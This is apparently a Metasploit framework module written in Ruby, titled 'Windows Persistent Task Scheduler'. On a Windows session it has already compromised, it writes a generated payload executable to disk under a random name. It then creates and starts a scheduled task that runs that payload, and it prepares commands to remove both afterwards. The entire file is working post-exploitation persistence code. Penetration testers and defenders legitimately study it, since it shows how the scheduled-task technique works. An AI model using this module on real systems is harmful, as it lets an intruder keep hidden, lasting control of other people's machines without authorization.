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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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  Rank = ExcellentRanking
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  include Msf::Post::File
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  include Msf::Exploit::EXE
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  include Msf::Exploit::Local::Persistence
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  prepend Msf::Exploit::Remote::AutoCheck
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  include Msf::Post::Windows::TaskScheduler
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Windows Persistent Task Scheduler',
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        'Description' => %q{
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          This module establishes persistence by creating a scheduled task to run a payload.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [ 'h00die' ],
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        'Platform' => [ 'win' ],
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        'Privileged' => true,
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        'SessionTypes' => [ 'meterpreter', 'shell' ],
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        'Targets' => [
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          [ 'Automatic', {} ]
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        ],
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        'DefaultTarget' => 0,
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        'References' => [
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          ['ATT&CK', Mitre::Attack::Technique::T1053_005_SCHEDULED_TASK],
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          ['URL', 'https://learn.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-start-page']
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        ],
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        'DisclosureDate' => '1998-05-15', # windows 98 release date which included "modern" task scheduler
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
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          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
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        OptString.new('TASK_NAME', [false, 'The name of task. Random string as default.' ]),
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      ]
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    )
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    # not needed since this is not remote
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    deregister_options(
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      'ScheduleRemoteSystem',
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      'ScheduleUsername',
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      'SchedulePassword',
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      'ScheduleObfuscationTechnique' # prefer NONE so we can start our service
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    )
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  end
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  def writable_dir
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    d = super
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    return session.sys.config.getenv(d) if d.start_with?('%')
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    d
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  end
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  def check
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    print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value
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    return CheckCode::Safe("#{writable_dir} doesn't exist") unless exists?(writable_dir)
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    begin
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      get_system_privs
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    rescue StandardError
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      return CheckCode::Safe('You need higher privileges to create scheduled tasks ')
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    end
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    CheckCode::Appears('Likely exploitable')
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  end
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  def upload_payload(dest_pathname)
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    payload_exe = generate_payload_exe
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    fail_with(Failure::UnexpectedReply, "Error writing payload to: #{dest_pathname}") unless write_file(dest_pathname, payload_exe)
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    vprint_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{dest_pathname}")
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  end
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  def install_persistence
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    payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
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    temp_path = writable_dir
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    payload_pathname = temp_path + '\\' + payload_name + '.exe'
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    upload_payload(payload_pathname)
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    task_name = datastore['TASK_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
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    vprint_status("Creating task: #{task_name}")
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    begin
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      task_create(task_name, payload_pathname, { obfuscation: 'NONE' })
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    rescue TaskSchedulerObfuscationError => e
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      print_warning(e.message)
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      print_good('Task created without obfuscation')
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    rescue TaskSchedulerError => e
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      fail_with(Failure::UnexpectedReply, "Task creation error: #{e}")
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    end
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    vprint_status("Starting task: #{task_name}")
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    task_start(task_name)
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    schtasks_cmd = ['/delete', '/tn', task_name, '/f'] # taken from task_delete in task_scheduler.rb
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    @clean_up_rc << "execute -f cmd.exe -a \"/c #{get_schtasks_cmd_string(schtasks_cmd)}\"\n"
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    @clean_up_rc << "rm #{payload_pathname.gsub('\\', '/')}\n"
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  end
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end
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